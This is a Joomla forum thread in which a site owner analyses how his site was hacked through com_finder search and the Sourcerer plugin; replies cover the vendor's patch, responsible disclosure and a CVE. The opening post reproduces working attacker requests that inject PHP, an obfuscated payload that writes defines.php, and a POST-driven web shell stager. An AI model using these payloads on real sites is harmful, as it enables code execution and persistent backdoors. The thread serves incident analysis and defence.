Advertisement

How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Discussion regarding Joomla! 5.x security issues.

Moderators: mandville, General Support Moderators

Forum rules
Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.
Forum Post Assistant / FPA - If you are serious about wanting help, you will use this tool to help you post.
Windows Defender SmartScreen Issues <-- please read this if using Windows 10.
Post Reply
User avatar
stormbyte
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 104
Joined: Tue Mar 03, 2015 1:16 pm
Location: paris
Contact:

How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by stormbyte » Wed Jan 22, 2025 9:55 am

Hi all!

This post is a case study showing how a malicious attacker managed to compromise a Joomla website, even with multiple layers of security in place. The aim is to raise awareness and provide practical advice to strengthen your Joomla site’s defenses.

The Setup
  • Joomla 5 (latest release).
  • A frontend WAF (Web Application Firewall) configured with ModSecurity at Paranoia Level 2.
  • Regular security updates applied.
Despite these precautions, the attacker successfully exploited a vulnerability.


The Attack Vector
The hacker began with reconnaissance, sending multiple attack patterns through the contact form, including various SQL injection and other payloads. This was part of their initial analysis phase to map the attack surface.

After gathering information, they targeted a vulnerability in the Finder Component (com_finder), which handles Joomla’s search functionality.

Code: Select all

"GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+die+%3F%5D%5D%7B%2Fsource%7D&Search=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D= HTTP/1.1" 200 11 "https://www.xxxhackedwebsitexxx.com/?option=com_finder&view=search" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"
This was followed by more complex payloads:

Code: Select all

GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+file_put_contents%28%22defines.php%22%2C+base64_decode%28%22KsTK9tTKnAXb09CctR3Josmbpxmb1ByOnAXb09CctR3JgUmcpVXclJHI7kyJ7ciLjRiLnACcoB3P8cCIscCctR3Lw1Gdngyc05WZ052bj9Fd1B3XlxWamByOllGZgozPgkyVBJ1XFZUQT5UVfJVRUxUSGBCLnM3bnACLUN1TQ9FVVBlTJhCd1Bnbp9lclRHbpZGI9AyYkAyepgCIu9Wa0Nmb1ZGKrNWYixGbhN2XyVGdzl2ZlJ3XyVGZhVGagAHaw9DP%22%29%29+%3F%5D%5D%7B%2Fsource%7D&Search=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D= HTTP/1.1" 403 100 "https://www.xxxhackedwebsitexxx.com/?option=com_finder&view=search" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"
so here:

Code: Select all

GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+die+%3F%5D%5D%7B%2Fsource%7D&Search= HTTP/1.1

Code: Select all

GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+file_put_contents(%22defines.php%22,+base64_decode(%22KsTK9t...%22))%3F%5D%5D%7B%2Fsource%7D&Search=

Although some of these requests returned 403 Forbidden, persistence paid off. Eventually, the attacker leveraged a successful injection:

Code: Select all

?q={source}[[<?php file_put_contents("defines.php", base64_decode("...")) ?>]]{/source}

Code: Select all

"GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+%28%22fil%22.%22e_pu%22.%22t_con%22.%22tents%22%29%28%22defines.php%22%2C+%28%22bas%22.%22e64_encode%22%29%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3RtcC90bXAnLCAnPD9waHAgJy5maWx0ZXJfaW5wdXQoSU5QVVRfUE9TVCwgJ29zJywgRklMVEVSX1VOU0FGRV9SQVcpLic7Jyk7IHJlcXVpcmUgJ3RtcC90bXAnOwo%3D%22%29%29+%3F%5D%5D%7B%2Fsource%7D&Search=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D= HTTP/1.1" 200 7599 "https://www.xxxhackedwebsitexxx.com/?option=com_finder&view=search" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"


Exploitation Through Sourcerer Plugin
The site used the Sourcerer plugin, which permits the execution of PHP code within content. If improperly configured or exposed in public-facing inputs (e.g., search forms), this plugin becomes a major attack vector.

The attacker used code injection via the plugin to write a temporary file (tmp/tmp) containing:

Code: Select all

<?php 
file_put_contents('tmp/tmp', '<?php '.filter_input(INPUT_POST, 'os', FILTER_UNSAFE_RAW).';'); 
require 'tmp/tmp';
?>
This temporary file was used to overwrite defines.php and introduce a remote backdoor.
At this time, the original website was KO (500 error)

And putting such a RFI remote backdoor (Remote File Inclusion) the website was definitly controlled by the hacker... :(


Advanced Targeting
The attacker also explored other parts of the site, including:
Admin Section:

Code: Select all

GET /administrator/ HTTP/1.1

Code: Select all

"GET /administrator/ HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"
API Endpoints:

Code: Select all

GET /api HTTP/1.1

Code: Select all

"GET /api HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"
This shows a sophisticated multi-pronged approach, testing various entry points beyond the initial vector.



Impact
The modification of defines.php resulted in:
  • Website downtime: The site became non-functional.
    Backdoor installation: This allowed the hacker to gain persistent remote access to the server.
Fortunately, after extensive log analysis (NGINX, database, etc.), it was confirmed that the attacker caused disruption but did not exfiltrate sensitive data.


Lessons Learned
Even a “secure” site can be compromised if a holistic approach to security is not implemented. Here are my key takeaways:
  • Remove unused components/plugins: Disable features like Finder, API, or any extensions you don’t actively use.
  • Audit plugin configurations: Ensure plugins like Sourcerer are configured securely and restricted to trusted inputs.
  • Enhance server security:
    Implement stricter WAF rules.
    Restrict file system permissions to prevent unauthorized writes.
  • Backup frequently: Perform multiple daily backups, especially for priority content.
  • Engage professionals: If you manage sensitive or high-value websites, consult cybersecurity experts for tailored protection. Yes, I know, it costs money.... depends on your needs and assets

This case highlights the importance of proactive and comprehensive security for Joomla sites. Attackers often combine reconnaissance, persistence, and multi-vector strategies to bypass even robust defenses. Ensuring a layered security approach is crucial to staying protected.

I hope this post helps you better understand the threats and encourages you to strengthen your Joomla security posture. Stay safe out there!
Kind Regards, Committed to Joomla and professional cybersecurity!
Cybersecurity Services: https://www.akaoma.com - Protect your business from cyber threats
CVE Vulnerabilities: https://cve.akaoma.com - Real-time Joomla vulnerability tracking

Advertisement
User avatar
Per Yngve Berg
Joomla! Master
Joomla! Master
Posts: 31571
Joined: Mon Oct 27, 2008 9:27 pm
Location: Romerike, Norway

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by Per Yngve Berg » Wed Jan 22, 2025 11:42 am

Sourcerer is not listed in the VEL.

User avatar
stormbyte
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 104
Joined: Tue Mar 03, 2015 1:16 pm
Location: paris
Contact:

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by stormbyte » Wed Jan 22, 2025 12:06 pm

Sourcerer is not listed in the VEL.
Thank you for clarifying! True, Sourcerer isn’t in the VEL, but in this case, it was a combination of factors (Finder + plugin exposure) that led to the issue. It’s a good reminder to stay vigilant about how features interact and impact security. 😊
Kind Regards, Committed to Joomla and professional cybersecurity!
Cybersecurity Services: https://www.akaoma.com - Protect your business from cyber threats
CVE Vulnerabilities: https://cve.akaoma.com - Real-time Joomla vulnerability tracking

User avatar
sakiss
Joomla! Explorer
Joomla! Explorer
Posts: 369
Joined: Wed Aug 20, 2008 4:09 pm

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by sakiss » Wed Jan 22, 2025 1:01 pm

I think that this post should be addressed to the Joomla security team and not be public.

pl71
Joomla! Intern
Joomla! Intern
Posts: 63
Joined: Tue Mar 18, 2014 11:24 am

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by pl71 » Wed Jan 22, 2025 6:08 pm

The setup should mention the Sourcerer Plugin. This plugin is not so common. People who run PHP code within content should be aware of all downsides.

User avatar
stormbyte
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 104
Joined: Tue Mar 03, 2015 1:16 pm
Location: paris
Contact:

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by stormbyte » Wed Jan 22, 2025 6:18 pm

sakiss wrote: Wed Jan 22, 2025 1:01 pm I think that this post should be addressed to the Joomla security team and not be public.
IMY it's important to spread the words....I believe it's important to raise awareness about security, as it's easy to assume everything is inherently 'secure.' Joomla is undeniably excellent, and I have great respect for it! However, even small vulnerabilities can sometimes shake the system. With this post, my intention is simply to share a message: Think Security First! 😊
Kind Regards, Committed to Joomla and professional cybersecurity!
Cybersecurity Services: https://www.akaoma.com - Protect your business from cyber threats
CVE Vulnerabilities: https://cve.akaoma.com - Real-time Joomla vulnerability tracking

User avatar
stormbyte
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 104
Joined: Tue Mar 03, 2015 1:16 pm
Location: paris
Contact:

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by stormbyte » Wed Jan 22, 2025 6:22 pm

pl71 wrote: Wed Jan 22, 2025 6:08 pm The setup should mention the Sourcerer Plugin. This plugin is not so common. People who run PHP code within content should be aware of all downsides.
You're absolutely right—Sourcerer isn't very common, but for specialized sites, these kinds of tools do show up. It's important to stay aware of their potential downsides! As a workaround, I also chose to rewrite some modules to replace Sourcerer where possible. Stay vigilant!
Kind Regards, Committed to Joomla and professional cybersecurity!
Cybersecurity Services: https://www.akaoma.com - Protect your business from cyber threats
CVE Vulnerabilities: https://cve.akaoma.com - Real-time Joomla vulnerability tracking

User avatar
Hackwar
Joomla! Virtuoso
Joomla! Virtuoso
Posts: 3791
Joined: Fri Sep 16, 2005 8:41 pm
Location: NRW - Germany
Contact:

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by Hackwar » Wed Jan 22, 2025 7:27 pm

Sourcerer is a tool to include arbitrary code from content. It is a violation of all security measures in PHP and the "remote code execution vulnerability" is basically a feature of that extension. There is nothing Joomla can do if you include third party code which is vulnerable by design.
god doesn't play dice with the universe. not after that drunken night with the devil where he lost classical mechanics in a game of craps.

Since the creation of the Internet, the Earth's rotation has been fueled, primarily, by the collective spinning of English teachers in their graves.

User avatar
mandville
Joomla! Master
Joomla! Master
Posts: 15161
Joined: Mon Mar 20, 2006 1:56 am
Location: The Girly Side of Joomla in Sussex

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by mandville » Thu Jan 23, 2025 11:31 pm

Hackwar wrote: Wed Jan 22, 2025 7:27 pm Sourcerer is a tool to include arbitrary code from content. [snip] There is nothing Joomla can do if you include third party code which is vulnerable by design.
almost agree, its not really vulnerable, but like xtplorer, its doing th ejob it was designed to do. if the site admin doesnt lock it down enough then anything is really possible.
HU2HY- Poor questions = Poor answer
Un requested Help PM's will be reported, added to the foe list and possibly just deleted
portable mini golf https://www.puttersminigolf.co.uk/

regularlabs
Joomla! Fledgling
Joomla! Fledgling
Posts: 3
Joined: Fri Oct 21, 2016 8:34 pm

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by regularlabs » Fri Jan 24, 2025 9:23 am

In other words, well, no, in the same words as the same post:
a vulnerability in the Finder Component (com_finder)
This is not an issue in or of Sourcerer, but something off in com_finder.

regularlabs
Joomla! Fledgling
Joomla! Fledgling
Posts: 3
Joined: Fri Oct 21, 2016 8:34 pm

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by regularlabs » Fri Jan 24, 2025 9:37 am

Ah, yes, I see how they did this now...
And, yes, can be prevented with setup changes in Sourcerer, but still.
I'll have to make some changes to Sourcerer and push a security fix release asap.

regularlabs
Joomla! Fledgling
Joomla! Fledgling
Posts: 3
Joined: Fri Oct 21, 2016 8:34 pm

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by regularlabs » Fri Jan 24, 2025 9:45 am

A new version of Sourcerer has been released: v11.0.0

User avatar
AMurray
Joomla! Master
Joomla! Master
Posts: 10488
Joined: Sat Feb 13, 2010 7:35 am
Location: Australia

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by AMurray » Fri Jan 24, 2025 10:17 pm

@regularlabs your JED listing for Sourcerer is now giving me a "Vulnerable Extensions" error (but is not on the VEL either new listing or resolved)
https://extensions.joomla.org/extension/sourcerer/
Joomla Extension Directory wrote:Sourcerer
This extension has been unpublished for the following reason:
UR3: Vulnerable Extension
View error codes

Unpublished by Mark at request of Harald Leithner - 24-1-25 14:09
....or else, the JED status for Sourcerer hasn't been refreshed with your new release yet?
Regards - A Murray
Global Support Moderator

User avatar
mandville
Joomla! Master
Joomla! Master
Posts: 15161
Joined: Mon Mar 20, 2006 1:56 am
Location: The Girly Side of Joomla in Sussex

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by mandville » Sat Jan 25, 2025 12:51 am

sourcer is showing live on VEL , awaiting dev notification of fix via the vel link.
HU2HY- Poor questions = Poor answer
Un requested Help PM's will be reported, added to the foe list and possibly just deleted
portable mini golf https://www.puttersminigolf.co.uk/

User avatar
JAVesey
Joomla! Hero
Joomla! Hero
Posts: 2745
Joined: Tue May 14, 2013 1:21 pm
Location: Cardiff, Wales, UK
Contact:

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by JAVesey » Sat Jan 25, 2025 11:00 am

mandville wrote: Sat Jan 25, 2025 12:51 am sourcer is showing live on VEL , awaiting dev notification of fix via the vel link.
Major-version updates (first v11, then v12.0.0) were released yesterday to address the issue.

HTH
John V
Cardiff, Wales, UK
Joomla 5.2.3 "live" site on PHP 8.3.16 and MariaDB 10.11.10 (with b/c plugin enabled)
Joomla 5.2.3 on MAMP Pro 7.2.2 with PHP 8.3.14 and MySQL 8.0.40 (with b/c plugin enabled)

User avatar
Webdongle
Joomla! Master
Joomla! Master
Posts: 44895
Joined: Sat Apr 05, 2008 9:58 pm

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by Webdongle » Sat Jan 25, 2025 11:10 am

+1
sakiss wrote: Wed Jan 22, 2025 1:01 pm I think that this post should be addressed to the Joomla security team and not be public.
http://www.weblinksonline.co.uk/
https://www.weblinksonline.co.uk/updating-joomla.html
"When I'm right no one remembers but when I'm wrong no one forgets".

User avatar
Webdongle
Joomla! Master
Joomla! Master
Posts: 44895
Joined: Sat Apr 05, 2008 9:58 pm

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by Webdongle » Sat Jan 25, 2025 11:10 am

Quick response
regularlabs wrote: Fri Jan 24, 2025 9:45 am A new version of Sourcerer has been released: v11.0.0
http://www.weblinksonline.co.uk/
https://www.weblinksonline.co.uk/updating-joomla.html
"When I'm right no one remembers but when I'm wrong no one forgets".

User avatar
stormbyte
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 104
Joined: Tue Mar 03, 2015 1:16 pm
Location: paris
Contact:

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by stormbyte » Wed Jan 29, 2025 4:26 pm

regularlabs wrote: Fri Jan 24, 2025 9:37 am Ah, yes, I see how they did this now...
And, yes, can be prevented with setup changes in Sourcerer, but still.
I'll have to make some changes to Sourcerer and push a security fix release asap.
You rock! I'm really glad you were able to find the hidden vulnerabilities in Sourcerer...

I was actually the one who started this topic—I immediately reported the attack method because I thought it was interesting to share how it worked.

Next time, if a security issue arises in the RegularLabs range, I'll reach out to you directly via PM to avoid exposing the vulnerability to potential attackers.

On my end, I had recoded the PHP elements into a custom Joomla module for the occasion 😉 and had removed Sourcerer. I saw that you released a new patched version—that’s awesome!

For my own learning, I’d be really interested to know how you secured this in your component (via PM). That would be super cool! I work in security, so any knowledge-sharing is always a win! 😊
Kind Regards, Committed to Joomla and professional cybersecurity!
Cybersecurity Services: https://www.akaoma.com - Protect your business from cyber threats
CVE Vulnerabilities: https://cve.akaoma.com - Real-time Joomla vulnerability tracking

User avatar
SniperSister
Joomla! Apprentice
Joomla! Apprentice
Posts: 38
Joined: Fri Sep 16, 2005 11:20 am
Location: Cologne (Germany)
Contact:

Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

Post by SniperSister » Mon Feb 03, 2025 8:51 am

    stormbyte wrote: Wed Jan 29, 2025 4:26 pm Next time, if a security issue arises in the RegularLabs range, I'll reach out to you directly via PM to avoid exposing the vulnerability to potential attackers.
    You should not only do so, if an issue arises with RegularLabs products but with each and every software product! It's a procedure called Responsible Disclosure and it is considered as best practice in the IT security industry.
    If you want to avoid unnecessary mails to developers, feel free to do a quick research in common vulnerability databases if the issue in question is already known, but if in doubt, always reach out to the devs instead of doing a post in a public forum.
    Joomla! Community Leadership Team

    gws
    Joomla! Champion
    Joomla! Champion
    Posts: 6575
    Joined: Tue Aug 23, 2005 1:56 pm
    Location: South coast, UK
    Contact:

    Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

    Post by gws » Mon Feb 03, 2025 11:33 am

    While I agree with the sentiments of sniper sister's comment. In this case it shows the quality of Joomla's security team and developers response to a problem. 3 days from first post to resolution. Well done all.

    User avatar
    Webdongle
    Joomla! Master
    Joomla! Master
    Posts: 44895
    Joined: Sat Apr 05, 2008 9:58 pm

    Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

    Post by Webdongle » Mon Feb 03, 2025 4:30 pm

    3 days is a long time for a vulnerability to be in the public domain.
    http://www.weblinksonline.co.uk/
    https://www.weblinksonline.co.uk/updating-joomla.html
    "When I'm right no one remembers but when I'm wrong no one forgets".

    gws
    Joomla! Champion
    Joomla! Champion
    Posts: 6575
    Joined: Tue Aug 23, 2005 1:56 pm
    Location: South coast, UK
    Contact:

    Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

    Post by gws » Mon Feb 03, 2025 6:22 pm

    No it isn't.
    People also ask
    What is the average time to fix a vulnerability?
    How To Reduce Your Mean Time To Remediate A Vulnerability
    between 60 to 150 days
    What Is The Average Time To Remediate A Vulnerability? According to Infosec Institute, the average number of days to remediate a vulnerability is between 60 to 150 days. Vulnerability scanning tools perform the same function for enterprise and SMB environments.5 Mar 2024

    User avatar
    Webdongle
    Joomla! Master
    Joomla! Master
    Posts: 44895
    Joined: Sat Apr 05, 2008 9:58 pm

    Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

    Post by Webdongle » Mon Feb 03, 2025 6:51 pm

    @gws

    The speed of fixing the problem is not in question. What is in question is announcing it to the world before it is fixed. Therefore, "3 days is a long time for a vulnerability to be in the public domain".
    http://www.weblinksonline.co.uk/
    https://www.weblinksonline.co.uk/updating-joomla.html
    "When I'm right no one remembers but when I'm wrong no one forgets".

    User avatar
    SniperSister
    Joomla! Apprentice
    Joomla! Apprentice
    Posts: 38
    Joined: Fri Sep 16, 2005 11:20 am
    Location: Cologne (Germany)
    Contact:

    Re: How a Joomla Site Was Compromised Despite Security Measures: A Case Study

    Post by SniperSister » Tue Feb 04, 2025 7:23 am

    For the record: CVE-2025-22204 has been assigned.
    Joomla! Community Leadership Team

    Advertisement

    Post Reply

    Return to “Security in Joomla! 5.x”